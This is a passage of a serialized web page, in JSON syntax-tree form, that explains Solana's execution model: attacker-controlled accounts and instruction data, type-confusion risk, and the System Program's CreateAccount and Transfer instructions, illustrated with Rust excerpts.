data",{"type":23,"tag":135,"props":1248,"children":1249},{},[1250],{"type":28,"value":1251},"lamports: A lamport is 0.000000001 sol. Accounts have an associated amount of lamports.",{"type":23,"tag":24,"props":1253,"children":1254},{},[1255,1257,1263],{"type":28,"value":1256},"While which accounts to pass in are entirely attacker controlled, the metadata associated with the account is not. For example, you can only specify an account as ",{"type":23,"tag":209,"props":1258,"children":1260},{"className":1259},[],[1261],{"type":28,"value":1262},"is_signer",{"type":28,"value":1264}," if you can generate a valid signature for it. Account data is also only modifiable by the account owner.",{"type":23,"tag":24,"props":1266,"children":1267},{},[1268],{"type":28,"value":1269},"Instruction data is a list of bytes and is entirely attacker controlled.",{"type":23,"tag":24,"props":1271,"children":1272},{},[1273,1275,1281],{"type":28,"value":1274},"To summarize, we are able to call the ",{"type":23,"tag":209,"props":1276,"children":1278},{"className":1277},[],[1279],{"type":28,"value":1280},"entrypoint",{"type":28,"value":1282}," of any program with:",{"type":23,"tag":168,"props":1284,"children":1285},{},[1286,1291],{"type":23,"tag":135,"props":1287,"children":1288},{},[1289],{"type":28,"value":1290},"Any accounts we choose",{"type":23,"tag":135,"props":1292,"children":1293},{},[1294],{"type":28,"value":1295},"Any instruction data",{"type":23,"tag":24,"props":1297,"children":1298},{},[1299],{"type":28,"value":1300},"You might already see how type-confusion is (or was before Anchor) a huge issue on Solana. Because there is no execution-level typing of accounts, it's very easy for a malicious user to pass in an account of the wrong type. Some solutions to implementing type information include hardcoding the pubkey of the account, storing a type tag, or both.",{"type":23,"tag":47,"props":1302,"children":1304},{"id":1303},"onchain-programs",[1305],{"type":28,"value":1306},"Onchain Programs",{"type":23,"tag":24,"props":1308,"children":1309},{},[1310],{"type":28,"value":1311},"Solana also provides a number of native programs. An important thing to remember is that these native programs operate at a less privileged level than the execution model. In other words, any restrictions imposed by the execution model, such as not being able to write to readonly accounts, applies to the native programs as well.",{"type":23,"tag":24,"props":1313,"children":1314},{},[1315,1317,1324],{"type":28,"value":1316},"A full list of programs ",{"type":23,"tag":36,"props":1318,"children":1321},{"href":1319,"rel":1320},"https://docs.solana.com/developing/runtime-facilities/programs",[40],[1322],{"type":28,"value":1323},"can be found here",{"type":28,"value":124},{"type":23,"tag":24,"props":1326,"children":1327},{},[1328],{"type":28,"value":1329},"The primary native program you'll likely interact with is the System Program.",{"type":23,"tag":202,"props":1331,"children":1333},{"code":1332},"11111111111111111111111111111111\n",[1334],{"type":23,"tag":209,"props":1335,"children":1336},{"__ignoreMap":7},[1337],{"type":28,"value":1332},{"type":23,"tag":24,"props":1339,"children":1340},{},[1341,1343],{"type":28,"value":1342},"These instructions are processed in ",{"type":23,"tag":36,"props":1344,"children":1347},{"href":1345,"rel":1346},"https://github.com/solana-labs/solana/blob/master/runtime/src/system_instruction_processor.rs",[40],[1348],{"type":28,"value":1349},"system_instruction_processor.rs",{"type":23,"tag":202,"props":1351,"children":1353},{"code":1352,"language":205,"meta":7,"className":206,"style":7},"match instruction {\n SystemInstruction::CreateAccount {\n lamports,\n space,\n owner,\n } => {\n",[1354],{"type":23,"tag":209,"props":1355,"children":1356},{"__ignoreMap":7},[1357,1376,1397,1409,1421,1433],{"type":23,"tag":213,"props":1358,"children":1359},{"class":215,"line":216},[1360,1366,1371],{"type":23,"tag":213,"props":1361,"children":1363},{"style":1362},"--shiki-default:#C586C0",[1364],{"type":28,"value":1365},"match",{"type":23,"tag":213,"props":1367,"children":1368},{"style":268},[1369],{"type":28,"value":1370}," instruction",{"type":23,"tag":213,"props":1372,"children":1373},{"style":220},[1374],{"type":28,"value":1375}," {\n",{"type":23,"tag":213,"props":1377,"children":1378},{"class":215,"line":226},[1379,1384,1388,1393],{"type":23,"tag":213,"props":1380,"children":1381},{"style":290},[1382],{"type":28,"value":1383}," SystemInstruction",{"type":23,"tag":213,"props":1385,"children":1386},{"style":274},[1387],{"type":28,"value":562},{"type":23,"tag":213,"props":1389,"children":1390},{"style":290},[1391],{"type":28,"value":1392},"CreateAccount",{"type":23,"tag":213,"props":1394,"children":1395},{"style":220},[1396],{"type":28,"value":1375},{"type":23,"tag":213,"props":1398,"children":1399},{"class":215,"line":524},[1400,1405],{"type":23,"tag":213,"props":1401,"children":1402},{"style":268},[1403],{"type":28,"value":1404}," lamports",{"type":23,"tag":213,"props":1406,"children":1407},{"style":220},[1408],{"type":28,"value":944},{"type":23,"tag":213,"props":1410,"children":1411},{"class":215,"line":533},[1412,1417],{"type":23,"tag":213,"props":1413,"children":1414},{"style":268},[1415],{"type":28,"value":1416}," space",{"type":23,"tag":213,"props":1418,"children":1419},{"style":220},[1420],{"type":28,"value":944},{"type":23,"tag":213,"props":1422,"children":1423},{"class":215,"line":543},[1424,1429],{"type":23,"tag":213,"props":1425,"children":1426},{"style":268},[1427],{"type":28,"value":1428}," owner",{"type":23,"tag":213,"props":1430,"children":1431},{"style":220},[1432],{"type":28,"value":944},{"type":23,"tag":213,"props":1434,"children":1435},{"class":215,"line":551},[1436,1441,1446],{"type":23,"tag":213,"props":1437,"children":1438},{"style":220},[1439],{"type":28,"value":1440}," } ",{"type":23,"tag":213,"props":1442,"children":1443},{"style":274},[1444],{"type":28,"value":1445},"=>",{"type":23,"tag":213,"props":1447,"children":1448},{"style":220},[1449],{"type":28,"value":1375},{"type":23,"tag":24,"props":1451,"children":1452},{},[1453],{"type":28,"value":1454},"A full list of the available instructions can be found by reading the source.",{"type":23,"tag":24,"props":1456,"children":1457},{},[1458,1460,1465,1467,1473],{"type":28,"value":1459},"In to demonstrate some of the previous concepts, we will go over two instructions, ",{"type":23,"tag":209,"props":1461,"children":1463},{"className":1462},[],[1464],{"type":28,"value":1392},{"type":28,"value":1466}," and ",{"type":23,"tag":209,"props":1468,"children":1470},{"className":1469},[],[1471],{"type":28,"value":1472},"Transfer",{"type":28,"value":124},{"type":23,"tag":24,"props":1475,"children":1476},{},[1477,1482],{"type":23,"tag":209,"props":1478,"children":1480},{"className":1479},[],[1481],{"type":28,"value":1392},{"type":28,"value":1483}," requires the lamports, space, and owner to initialize the account with.",{"type":23,"tag":202,"props":1485,"children":1487},{"code":1486,"language":205,"meta":7,"className":206,"style":7},"pub fn create_account(\n from_pubkey: &Pubkey,\n to_pubkey: &Pubkey,\n lamports: u64,\n space: u64,\n owner: &Pubkey,\n) -> Instruction {\n let account_metas = vec![\n AccountMeta::new(*from_pubkey, true),\n AccountMeta::new(*to_pubkey, true),\n ];\n Instruction::new_with_bincode(\n system_program::id(),\n &SystemInstruction::CreateAccount {\n lamports,\n space,\n owner: *owner,\n },\n account_metas,\n )\n}\n",[1488],{"type":23,"tag":209,"props":1489,"children":1490},{"__ignoreMap":7},[1491,1512,1537,1561,1581,1601,1625,1645,1671,1716,1756,1765,1787,1810,1836,1849,1862,1888,1897,1910,1919],{"type":23,"tag":213,"props":1492,"children":1493},{"class":215,"line":216},[1494,1498,1502,1507],{"type":23,"tag":213,"props":1495,"children":1496},{"style":230},[1497],{"type":28,"value":233},{"type":23,"tag":213,"props":1499,"children":1500},{"style":230},[1501],{"type":28,"value":254},{"type":23,"tag":213,"props":1503,"children":1504},{"style":257},[1505],{"type":28,"value":1506}," create_account",{"type":23,"tag":213,"props":1508,"children":1509},{"style":220},[1510],{"type":28,"value":1511},"(\n",{"type":23,"tag":213,"props":1513,"children":1514},{"class":215,"line":226},[1515,1520,1524,1528,1533],{"type":23,"tag":213,"props":1516,"children":1517},{"style":268},[1518],{"type":28,"value":1519}," from_pubkey",{"type":23,"tag":213,"props":1521,"children":1522},{"style":274},[1523],{"type":28,"value":277},{"type":23,"tag":213,"props":1525,"children":1526},{"style":274},[1527],{"type":28,"value":927},{"type":23,"tag":213,"props":1529,"children":1530},{"style":290},[1531],{"type":28,"value":1532},"Pubkey",{"type":23,"tag":213,"props":1534,"children":1535},{"style":220},[1536],{"type":28,"value":944},{"type":23,"tag":213,"props":1538,"children":1539},{"class":215,"line":524},[1540,1545,1549,1553,1557],{"type":23,"tag":213,"props":1541,"children":1542},{"style":268},[1543],{"type":28,"value":1544}," to_pubkey",{"type":23,"tag":213,"props":1546,"children":1547},{"style":274},[1548],{"type":28,"value":277},{"type":23,"tag":213,"props":1550,"children":1551},{"style":274},[1552],{"type":28,"value":927},{"type":23,"tag":213,"props":1554,"children":1555},{"style":290},[1556],{"type":28,"value":1532},{"type":23,"tag":213,"props":1558,"children":1559},{"style":220},[1560],{"type":28,"value":944},{"type":23,"tag":213,"props":1562,"children":1563},{"class":215,"line":533},[1564,1569,1573,1577],{"type":23,"tag":213,"props":1565,"children":1566},{"style":268},[1567],{"type":28,"value":1568}," lamports",{"type":23,"tag":213,"props":1570,"children":1571},{"style":274},[1572],{"type":28,"value":277},{"type":23,"tag":213,"props":1574,"children":1575},{"style":290},[1576],{"type":28,"value":308},{"type":23,"tag":213,"props":1578,"children":1579},{"style":220},[1580],{"type":28,"value":944},{"type":23,"tag":213,"props":1582,"children":1583},{"class":215,"line":543},[1584,1589,1593,1597],{"type":23,"tag":213,"props":1585,"children":1586},{"style":268},[1587],{"type":28,"value":1588}," space",{"type":23,"tag":213,"props":1590,"children":1591},{"style":274},[1592],{"type":28,"value":277},{"type":23,"tag":213,"props":1594,"children":1595},{"style":290},[1596],{"type":28,"value":308},{"type":23,"tag":213,"props":1598,"children":1599},{"style":220},[1600],{"type":28,"value":944},{"type":23,"tag":213,"props":1602,"children":1603},{"class":215,"line":551},[1604,1609,1613,1617,1621],{"type":23,"tag":213,"props":1605,"children":1606},{"style":268},[1607],{"type":28,"value":1608}," owner",{"type":23,"tag":213,"props":1610,"children":1611},{"style":274},[1612],{"type":28,"value":277},{"type":23,"tag":213,"props":1614,"children":1615},{"style":274},[1616],{"type":28,"value":927},{"type":23,"tag":213,"props":1618,"children":1619},{"style":290},[1620],{"type":28,"value":1532},{"type":23,"tag":213,"props":1622,"children":1623},{"style":220},[1624],{"type":28,"value":944},{"type":23,"tag":213,"props":1626,"children":1627},{"class":215,"line":570},[1628,1632,1636,1641],{"type":23,"tag":213,"props":1629,"children":1630},{"style":220},[1631],{"type":28,"value":298},{"type":23,"tag":213,"props":1633,"children":1634},{"style":274},[1635],{"type":28,"value":303},{"type":23,"tag":213,"props":1637,"children":1638},{"style":290},[1639],{"type":28,"value":1640}," Instruction",{"type":23,"tag":213,"props":1642,"children":1643},{"style":220},[1644],{"type":28,"value":1375},{"type":23,"tag":213,"props":1646,"children":1647},{"class":215,"line":655},[1648,1652,1657,1661,1666],{"type":23,"tag":213,"props":1649,"children":1650},{"style":230},[1651],{"type":28,"value":487},{"type":23,"tag":213,"props":1653,"children":1654},{"style":268},[1655],{"type":28,"value":1656}," account_metas",{"type":23,"tag":213,"props":1658,"children":1659},{"style":274},[1660],{"type":28,"value":511},{"type":23,"tag":213,"props":1662,"children":1663},{"style":257},[1664],{"type":28,"value":1665}," vec!",{"type":23,"tag":213,"props":1667,"children":1668},{"style":220},[1669],{"type":28,"value":1670},"[\n",{"type":23,"tag":213,"props":1672,"children":1673},{"class":215,"line":1176},[1674,1679,1683,1688,1692,1697,1702,1706,1711],{"type":23,"tag":213,"props":1675,"children":1676},{"style":290},[1677],{"type":28,"value":1678}," AccountMeta",{"type":23,"tag":213,"props":1680,"children":1681},{"style":274},[1682],{"type":28,"value":562},{"type":23,"tag":213,"props":1684,"children":1685},{"style":257},[1686],{"type":28,"value":1687},"new",{"type":23,"tag":213,"props":1689,"children":1690},{"style":220},[1691],{"type":28,"value":265},{"type":23,"tag":213,"props":1693,"children":1694},{"style":274},[1695],{"type":28,"value":1696},"*",{"type":23,"tag":213,"props":1698,"children":1699},{"style":268},[1700],{"type":28,"value":1701},"from_pubkey",{"type":23,"tag":213,"props":1703,"children":1704},{"style":220},[1705],{"type":28,"value":424},{"type":23,"tag":213,"props":1707,"children":1708},{"style":230},[1709],{"type":28,"value":1710},"true",{"type":23,"tag":213,"props":1712,"children":1713},{"style":220},[1714],{"type":28,"value":1715},"),\n",{"type":23,"tag":213,"props":1717,"children":1718},{"class":215,"line":1202},[1719,1723,1727,1731,1735,1739,1744,1748,1752],{"type":23,"tag":213,"props":1720,"children":1721},{"style":290},[1722],{"type":28,"value":1678},{"type":23,"tag":213,"props":1724,"children":1725},{"style":274},[1726],{"type":28,"value":562},{"type":23,"tag":213,"props":1728,"children":1729},{"style":257},[1730],{"type":28,"value":1687},{"type":23,"tag":213,"props":1732,"children":1733},{"style":220},[1734],{"type":28,"value":265},{"type":23,"tag":213,"props":1736,"children":1737},{"style":274},[1738],{"type":28,"value":1696},{"type":23,"tag":213,"props":1740,"children":1741},{"style":268},[1742],{"type":28,"value":1743},"to_pubkey",{"type":23,"tag":213,"props":1745,"children":1746},{"style":220},[1747],{"type":28,"value":424},{"type":23,"tag":213,"props":1749,"children":1750},{"style":230},[1751],{"type":28,"value":1710},{"type":23,"tag":213,"props":1753,"children":1754},{"style":220},[1755],{"type":28,"value":1715},{"type":23,"tag":213,"props":1757,"children":1759},{"class":215,"line":1758},11,[1760],{"type":23,"tag":213,"props":1761,"children":1762},{"style":220},[1763],{"type":28,"value":1764}," ];\n",{"type":23,"tag":213,"props":1766,"children":1768},{"class":215,"line":1767},12,[1769,1774,1778,1783],{"type":23,"tag":213,"props":1770,"children":1771},{"style":290},[1772],{"type":28,"value":1773}," Instruction",{"type":23,"tag":213,"props":1775,"children":1776},{"style":274},[1777],{"type":28,"value":562},{"type":23,"tag":213,"props":1779,"children":1780},{"style":257},[1781],{"type":28,"value":1782},"new_with_bincode",{"type":23,"tag":213,"props":1784,"children":1785},{"style":220},[1786],{"type":28,"value":1511},{"type":23,"tag":213,"props":1788,"children":1790},{"class":215,"line":1789},13,[1791,1796,1800,1805],{"type":23,"tag":213,"props":1792,"children":1793},{"style":220},[1794],{"type":28,"value":1795}," system_program",{"type":23,"tag":213,"props":1797,"children":1798},{"style":274},[1799],{"type":28,"value":562},{"type":23,"tag":213,"props":1801,"children":1802},{"style":257},[1803],{"type":28,"value":1804},"id",{"type":23,"tag":213,"props":1806,"children":1807},{"style":220},[1808],{"type":28,"value":1809},"(),\n",{"type":23,"tag":213,"props":1811,"children":1813},{"class":215,"line":1812},14,[1814,1819,1824,1828,1832],{"type":23,"tag":213,"props":1815,"children":1816},{"style":274},[1817],{"type":28,"value":1818}," &",{"type":23,"tag":213,"props":1820,"children":1821},{"style":220},[1822],{"type":28,"value":1823},"SystemInstruction",{"type":23,"tag":213,"props":1825,"children":1826},{"style":274},[1827],{"type":28,"value":562},{"type":23,"tag":213,"props":1829,"children":1830},{"style":290},[1831],{"type":28,"value":1392},{"type":23,"tag":213,"props":1833,"children":1834},{"style":220},[1835],{"type":28,"value":1375},{"type":23,"tag":213,"props":1837,"children":1839},{"class":215,"line":1838},15,[1840,1845],{"type":23,"tag":213,"props":1841,"children":1842},{"style":268},[1843],{"type":28,"value":1844}," lamports",{"type":23,"tag":213,"props":1846,"children":1847},{"style":220},[1848],{"type":28,"value":944},{"type":23,"tag":213,"props":1850,"children":1852},{"class":215,"line":1851},16,[1853,1858],{"type":23,"tag":213,"props":1854,"children":1855},{"style":268},[1856],{"type":28,"value":1857}," space",{"type":23,"tag":213,"props":1859,"children":1860},{"style":220},[1861],{"type":28,"value":944},{"type":23,"tag":213,"props":1863,"children":1865},{"class":215,"line":1864},17,[1866,1871,1875,1879,1884],{"type":23,"tag":213,"props":1867,"children":1868},{"style":268},[1869],{"type":28,"value":1870}," owner",{"type":23,"tag":213,"props":1872,"children":1873},{"style":274},[1874],{"type":28,"value":277},{"type":23,"tag":213,"props":1876,"children":1877},{"style":274},[1878],{"type":28,"value":282},{"type":23,"tag":213,"props":1880,"children":1881},{"style":268},[1882],{"type":28,"value":1883},"owner",{"type":23,"tag":213,"props":1885,"children":1886},{"style":220},[1887],{"type":28,"value":944},{"type":23,"tag":213,"props":1889,"children":1891},{"class":215,"line":1890},18,[1892],{"type":23,"tag":213,"props":1893,"children":1894},{"style":220},[1895],{"type":28,"value":1896}," },\n",{"type":23,"tag":213,"props":1898,"children":1900},{"class":215,"line":1899},19,[1901,1906],{"type":23,"tag":213,"props":1902,"children":1903},{"style":268},[1904],{"type":28,"value":1905}," account_metas",{"type":23,"tag":213,"props":1907,"children":1908},{"style":220},[1909],{"type":28,"value":944},{"type":23,"tag":213,"props":1911,"children":1913},{"class":215,"line":1912},20,[1914],{"type":23,"tag":213,"props":1915,"children":1916},{"style":220},[1917],{"type":28,"value":1918}," )\n",{"type":23,"tag":213,"props":1920,"children":1922},{"class":215,"line":1921},21,[1923],{"type":23,"tag":213,"props":1924,"children":1925},{"style":220},[1926],{"type":28,"value":1208},{"type":23,"tag":24,"props":1928,"children":1929},{},[1930],{"type":28,"value":1931},"Both the from and to pubkeys are specified as signers (the boolean passed into AccountMeta). This means that we need to have a valid signature for both.",{"type":23,"tag":202,"props":1933,"children":1935},{"code":1934,"language":205,"meta":7,"className":206,"style":7}," AccountMeta::new(*from_pubkey, /*is_signer=*/true),\n AccountMeta::new(*to_pubkey, true),\n",[1936],{"type":23,"tag":209,"props":1937,"children":1938},{"__ignoreMap":7},[1939,1984],{"type":23,"tag":213,"props":1940,"children":1941},{"class":215,"line":216},[1942,1947,1951,1955,1959,1963,1967,1971,1976,1980],{"type":23,"tag":213,"props":1943,"children":1944},{"style":290},[1945],{"type":28,"value":1946}," AccountMeta",{"type":23,"tag":213,"props":1948,"children":1949},{"style":274},[1950],{"type":28,"value":562},{"type":23,"tag":213,"props":1952,"children":1953},{"style":257},[1954],{"type":28,"value":1687},{"type":23,"tag":213,"props":1956,"children":1957},{"style":220},[1958],{"type":28,"value":265},{"type":23,"tag":213,"props":1960,"children":1961},{"style":274},[1962],{"type":28,"value":1696},{"type":23,"tag":213,"props":1964,"children":1965},{"style":268},[1966],{"type":28,"value":1701},{"type":23,"tag":213,"props":1968,"children":1969},{"style":220},[1970],{"type":28,"value":424},{"type":23,"tag":213,"props":1972,"children":1973},{"style":537},[1974],{"type":28,"value":1975},"/*is_signer=*/",{"type":23,"tag":213,"props":1977,"children":1978},{"style":230},[1979],{"type":28,"value":1710},{"type":23,"tag":213,"props":1981,"children":1982},{"style":220},[1983],{"type":28,"value":1715},{"type":23,"tag":213,"props":1985,"children":1986},{"class":215,"line":226},[1987,1991,1995,1999,2003,2007,2011,2015,2019],{"type":23,"tag":213,"props":1988,"children":1989},{"style":290},[1990],{"type":28,"value":1946},{"type":23,"tag":213,"props":1992,"children":1993},{"style":274},[1994],{"type":28,"value":562},{"type":23,"tag":213,"props":1996,"children":1997},{"style":257},[1998],{"type":28,"value":1687},{"type":23,"tag":213,"props":2000,"children":2001},{"style":220},[2002],{"type":28,"value":265},{"type":23,"tag":213,"props":2004,"children":2005},{"style":274},[2006],{"type":28,"value":1696},{"type":23,"tag":213,"props":2008,"children":2009},{"style":268},[2010],{"type":28,"value":1743},{"type":23,"tag":213,"props":2012,"children":2013},{"style":220},[2014],{"type":28,"value":424},{"type":23,"tag":213,"props":2016,"children":2017},{"style":230},[2018],{"type":28,"value":1710},{"type":23,"tag":213,"props":2020,"children":2021},{"style":220},[2022],{"type":28,"value":1715},{"type":23,"tag":24,"props":2024,"children":2025},{},[2026,2028,2034,2036,2042],{"type":28,"value":2027},"This is because the ",{"type":23,"tag":209,"props":2029,"children":2031},{"className":2030},[],[2032],{"type":28,"value":2033},"lamports",{"type":28,"value":2035}," used to create the account will come from the ",{"type":23,"tag":209,"props":2037,"children":2039},{"className":2038},[],[2040],{"type":28,"value":2041},"from_account",{"type":28,"value":2043},", thus lowering the balance of that account and requiring a signature.",{"type":23,"tag":24,"props":2045,"children":2046},{},[2047,2049,2055],{"type":28,"value":2048},"Internally CreateAccount will call into ",{"type":23,"tag":209,"props":2050,"children":2052},{"className":2051},[],[2053],{"type":28,"value":2054},"allocate_and_assign",{"type":28,"value":2056},", which allocates space for the account and assigns ownership.",{"type":23,"tag":202,"props":2058,"children":2060},{"code":2059,"language":205,"meta":7,"className":206,"style":7}," allocate(invoke_context, signers, to_account, to_address, space)?;\n assign(invoke_context, signers, to_account, to_address, owner)\n",[2061],{"type":23,"tag":209,"props":2062,"children":2063},{"__ignoreMap":7},[2064,2131],{"type":23,"tag":213,"props":2065,"children":2066},{"class":215,"line":216},[2067,2072,2076,2081,2085,2090,2094,2099,2103,2108,2112,2117,2122,2127],{"type":23,"tag":213,"props":2068,"children":2069},{"style":257},[2070],{"type":28,"value":2071}," allocate",{"type":23,"tag":213,"props":2073,"children":2074},{"style":220},[2075],{"type":28,"value":265},{"type":23,"tag":213,"props":2077,"children":2078},{"style":268},[2079],{"type":28,"value":2080},"invoke_context",{"type":23,"tag":213,"props":2082,"children":2083},{"style":220},[2084],{"type":28,"value":424},{"type":23,"tag":213,"props":2086,"children":2087},{"style":268},[2088],{"type":28,"value":2089},"signers",{"type":23,"tag":213,"props":2091,"children":2092},{"style":220},[2093],{"type":28,"value":424},{"type":23,"tag":213,"props":2095,"children":2096},{"style":268},[2097],{"type":28,"value":2098},"to_account",{"type":23,"tag":213,"props":2100,"children":2101},{"style":220},[2102],{"type":28,"value":424},{"type":23,"tag":213,"props":2104,"children":2105},{"style":268},[2106],{"type":28,"value":2107},"to_address",{"type":23,"tag":213,"props":2109,"children":2110},{"style":220},[2111],{"type":28,"value":424},{"type":23,"tag":213,"props":2113,"children":2114},{"style":268},[2115],{"type":28,"value":2116},"space",{"type":23,"tag":213,"props":2118,"children":2119},{"style":220},[2120],{"type":28,"value":2121},")",{"type":23,"tag":213,"props":2123,"children":2124},{"style":274},[2125],{"type":28,"value":2126},"?",{"type":23,"tag":213,"props":2128,"children":2129},{"style":220},[2130],{"type":28,"value":313},{"type":23,"tag":213,"props":2132,"children":2133},{"class":215,"line":226},[2134,2139,2143,2147,2151,2155,2159,2163,2167,2171,2175,2179],{"type":23,"tag":213,"props":2135,"children":2136},{"style":257},[2137],{"type":28,"value":2138}," assign",{"type":23,"tag":213,"props":2140,"children":2141},{"style":220},[2142],{"type":28,"value":265},{"type":23,"tag":213,"props":2144,"children":2145},{"style":268},[2146],{"type":28,"value":2080},{"type":23,"tag":213,"props":2148,"children":2149},{"style":220},[2150],{"type":28,"value":424},{"type":23,"tag":213,"props":2152,"children":2153},{"style":268},[2154],{"type":28,"value":2089},{"type":23,"tag":213,"props":2156,"children":2157},{"style":220},[2158],{"type":28,"value":424},{"type":23,"tag":213,"props":2160,"children":2161},{"style":268},[2162],{"type":28,"value":2098},{"type":23,"tag":213,"props":2164,"children":2165},{"style":220},[2166],{"type":28,"value":424},{"type":23,"tag":213,"props":2168,"children":2169},{"style":268},[2170],{"type":28,"value":2107},{"type":23,"tag":213,"props":2172,"children":2173},{"style":220},[2174],{"type":28,"value":424},{"type":23,"tag":213,"props":2176,"children":2177},{"style":268},[2178],{"type":28,"value":1883},{"type":23,"tag":213,"props":2180,"children":2181},{"style":220},[2182],{"type":28,"value":2183},")\n",{"type":23,"tag":24,"props":2185,"children":2186},{},[2187,2189,2195,2196,2202],{"type":28,"value":2188},"Note that you can also do these steps separately with the ",{"type":23,"tag":209,"props":2190,"children":2192},{"className":2191},[],[2193],{"type":28,"value":2194},"Assign",{"type":28,"value":1466},{"type":23,"tag":209,"props":2197,"children":2199},{"className":2198},[],[2200],{"type":28,"value":2201},"Allocate",{"type":28,"value":2203}," instructions.",{"type":23,"tag":202,"props":2205,"children":2207},{"code":2206,"language":205,"meta":7,"className":206,"style":7}," Assign {\n owner: Pubkey,\n },\n ...\n Allocate {\n space: u64,\n },\n",[2208],{"type":23,"tag":209,"props":2209,"children":2210},{"__ignoreMap":7},[2211,2223,2242,2250,2258,2270,2289],{"type":23,"tag":213,"props":2212,"children":2213},{"class":215,"line":216},[2214,2219],{"type":23,"tag":213,"props":2215,"children":2216},{"style":290},[2217],{"type":28,"value":2218}," Assign",{"type":23,"tag":213,"props":2220,"children":2221},{"style":220},[2222],{"type":28,"value":1375},{"type":23,"tag":213,"props":2224,"children":2225},{"class":215,"line":226},[2226,2230,2234,2238],{"type":23,"tag":213,"props":2227,"children":2228},{"style":268},[2229],{"type":28,"value":1428},{"type":23,"tag":213,"props":2231,"children":2232},{"style":274},[2233],{"type":28,"value":277},{"type":23,"tag":213,"props":2235,"children":2236},{"style":290},[2237],{"type":28,"value":419},{"type":23,"tag":213,"props":2239,"children":2240},{"style":220},[2241],{"type":28,"value":944},{"type":23,"tag":213,"props":2243,"children":2244},{"class":215,"line":524},[2245],{"type":23,"tag":213,"props":2246,"children":2247},{"style":220},[2248],{"type":28,"value":2249}," },\n",{"type":23,"tag":213,"props":2251,"children":2252},{"class":215,"line":533},[2253],{"type":23,"tag":213,"props":2254,"children":2255},{"style":274},[2256],{"type":28,"value":2257}," ...\n",{"type":23,"tag":213,"props":2259,"children":2260},{"class":215,"line":543},[2261,2266],{"type":23,"tag":213,"props":2262,"children":2263},{"style":290},[2264],{"type":28,"value":2265}," Allocate",{"type":23,"tag":213,"props":2267,"children":2268},{"style":220},[2269],{"type":28,"value":1375},{"type":23,"tag":213,"props":2271,"children":2272},{"class":215,"line":551},[2273,2277,2281,2285],{"type":23,"tag":213,"props":2274,"children":2275},{"style":268},[2276],{"type":28,"value":1416},{"type":23,"tag":213,"props":2278,"children":2279},{"style":274},[2280],{"type":28,"value":277},{"type":23,"tag":213,"props":2282,"children":2283},{"style":290},[2284],{"type":28,"value":308},{"type":23,"tag":213,"props":2286,"children":2287},{"style":220},[2288],{"type":28,"value":944},{"type":23,"tag":213,"props":2290,"children":2291},{"class":215,"line":570},[2292],{"type":23,"tag":213,"props":2293,"children":2294},{"style":220},[2295],{"type":28,"value":2249},{"type":23,"tag":24,"props":2297,"children":2298},{},[2299,2301,2306],{"type":28,"value":2300},"In contrast, consider the instruction for ",{"type":23,"tag":209,"props":2302,"children":2304},{"className":2303},[],[2305],{"type":28,"value":1472},{"type":28,"value":124},{"type":23,"tag":202,"props":2308,"children":2310},{"code":2309,"language":205,"meta":7,"className":206,"style":7},"pub fn transfer(from_pubkey: &Pubkey, to_pubkey: &Pubkey, lamports: u64) -> Instruction {\n let account_metas = vec![\n AccountMeta::new(*from_pubkey, true),\n AccountMeta::new(*to_pubkey, false),\n ];\n Instruction::new_with_bincode(\n system_program::id(),\n &SystemInstruction::Transfer { lamports },\n account_metas,\n )\n}\n",[2311],{"type":23,"tag":209,"props":2312,"children":2313},{"__ignoreMap":7},[2314,2402,2425,2464,2504,2511,2530,2549,2582,2593,2600],{"type":23,"tag":213,"props":2315,"children":2316},{"class":215,"line":216},[2317,2321,2325,2330,2334,2338,2342,2346,2350,2354,2358,2362,2366,2370,2374,2378,2382,2386,2390,2394,2398],{"type":23,"tag":213,"props":2318,"children":2319},{"style":230},[2320],{"type":28,"value":233},{"type":23,"tag":213,"props":2322,"children":2323},{"style":230},[2324],{"type":28,"value":254},{"type":23,"tag":213,"props":2326,"children":2327},{"style":257},[2328],{"type":28,"value":2329}," transfer",{"type":23,"tag":213,"props":2331,"children":2332},{"style":220},[2333],{"type":28,"value":265},{"type":23,"tag":213,"props":2335,"children":2336},{"style":268},[2337],{"type":28,"value":1701},{"type":23,"tag":213,"props":2339,"children":2340},{"style":274},[2341],{"type":28,"value":277},{"type":23,"tag":213,"props":2343,"children":2344},{"style":274},[2345],{"type":28,"value":927},{"type":23,"tag":213,"props":2347,"children":2348},{"style":290},[2349],{"type":28,"value":1532},{"type":23,"tag":213,"props":2351,"children":2352},{"style":220},[2353],{"type":28,"value":424},{"type":23,"tag":213,"props":2355,"children":2356},{"style":268},[2357],{"type":28,"value":1743},{"type":23,"tag":213,"props":2359,"children":2360},{"style":274},[2361],{"type":28,"value":277},{"type":23,"tag":213,"props":2363,"children":2364},{"style":274},[2365],{"type":28,"value":927},{"type":23,"tag":213,"props":2367,"children":2368},{"style":290},[2369],{"type":28,"value":1532},{"type":23,"tag":213,"props":2371,"children":2372},{"style":220},[2373],{"type":28,"value":424},{"type":23,"tag":213,"props":2375,"children":2376},{"style":268},[2377],{"type":28,"value":2033},{"type":23,"tag":213,"props":2379,"children":2380},{"style":274},[2381],{"type":28,"value":277},{"type":23,"tag":213,"props":2383,"children":2384},{"style":290},[2385],{"type":28,"value":308},{"type":23,"tag":213,"props":2387,"children":2388},{"style":220},[2389],{"type":28,"value":298},{"type":23,"tag":213,"props":2391,"children":2392},{"style":274},[2393],{"type":28,"value":303},{"type":23,"tag":213,"props":2395,"children":2396},{"style":290},[2397],{"type":28,"value":1640},{"type":23,"tag":213,"props":2399,"children":2400},{"style":220},[2401],{"type":28,"value":1375},{"type":23,"tag":213,"props":2403,"children":2404},{"class":215,"line":226},[2405,2409,2413,2417,2421],{"type":23,"tag":213,"props":2406,"children":2407},{"style":230},[2408],{"type":28,"value":487},{"type":23,"tag":213,"props":2410,"children":2411},{"style":268},[2412],{"type":28,"value":1656},{"type":23,"tag":213,"props":2414,"children":2415},{"style":274},[2416],{"type":28,"value":511},{"type":23,"tag":213,"props":2418,"children":2419},{"style":257},[2420],{"type":28,"value":1665},{"type":23,"tag":213,"props":2422,"children":2423},{"style":220},[2424],{"type":28,"value":1670},{"type":23,"tag":213,"props":2426,"children":2427},{"class":215,"line":524},[2428,2432,2436,2440,2444,2448,2452,2456,2460],{"type":23,"tag":213,"props":2429,"children":2430},{"style":290},[2431],{"type":28,"value":1678},{"type":23,"tag":213,"props":2433,"children":2434},{"style":274},[2435],{"type":28,"value":562},{"type":23,"tag":213,"props":2437,"children":2438},{"style":257},[2439],{"type":28,"value":1687},{"type":23,"tag":213,"props":2441,"children":2442},{"style":220},[2443],{"type":28,"value":265},{"type":23,"tag":213,"props":2445,"children":2446},{"style":274},[2447],{"type":28,"value":1696},{"type":23,"tag":213,"props":2449,"children":2450},{"style":268},[2451],{"type":28,"